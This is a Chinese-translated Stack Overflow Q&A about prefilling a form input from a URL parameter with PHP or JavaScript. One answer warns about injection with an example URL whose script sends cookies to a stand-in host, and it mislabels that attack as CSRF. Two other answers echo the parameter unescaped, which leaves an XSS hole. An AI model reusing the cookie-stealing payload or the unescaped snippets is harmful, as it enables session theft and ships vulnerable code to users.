使用URL参数值预填充表单输入

时间:2011-05-19 22:11:31

标签: php javascript forms

我想从网址预填充包含变量的表单。我该怎么做?

例如:

http://somewhere.com?name=john

然后表单中的名称字段将预填充“John”,如果URL中没有名称,则该字段将为空并准备填写。

提前致谢..

4 个答案:

答案 0 :(得分:3)

好吧,使用php,比如

<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />

我不确定如何使用javascript解析get变量..

另外,请记住添加htmlspecialchars以阻止csrf攻击。 如果有人像:http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="那样运行 可能结果很糟糕(只是一个例子,不确定它是否有效)。

答案 1 :(得分:1)

PHP方式:

<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>

对于javascript,您应该首先找到一种检索GET变量的方法。看看这个:How to get "GET" request parameters in JavaScript?

在您提供答案中建议的功能后,您可以执行以下操作:

document.write('<input type="text" name="name" value="'
  + get('name')
  + '"/>'); 

答案 2 :(得分:1)

您使用PHP $_GET['name']值作为表单元素的值。如果没有设置值,则该值将显示为空白,这就是您想要的值。

<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />

答案 3 :(得分:0)

服务器端是最好的方式(PHP或您编码的任何语言。)它可以缓解客户端性能问题,并且总体上更可靠。

如果你需要使用JavaScript,你可以在这个jQuery插件的帮助下这样做(或者查看源代码,了解它从当前window.location获取GET参数的内容/方式。)

http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/

然后使用$('input').val()函数设置值。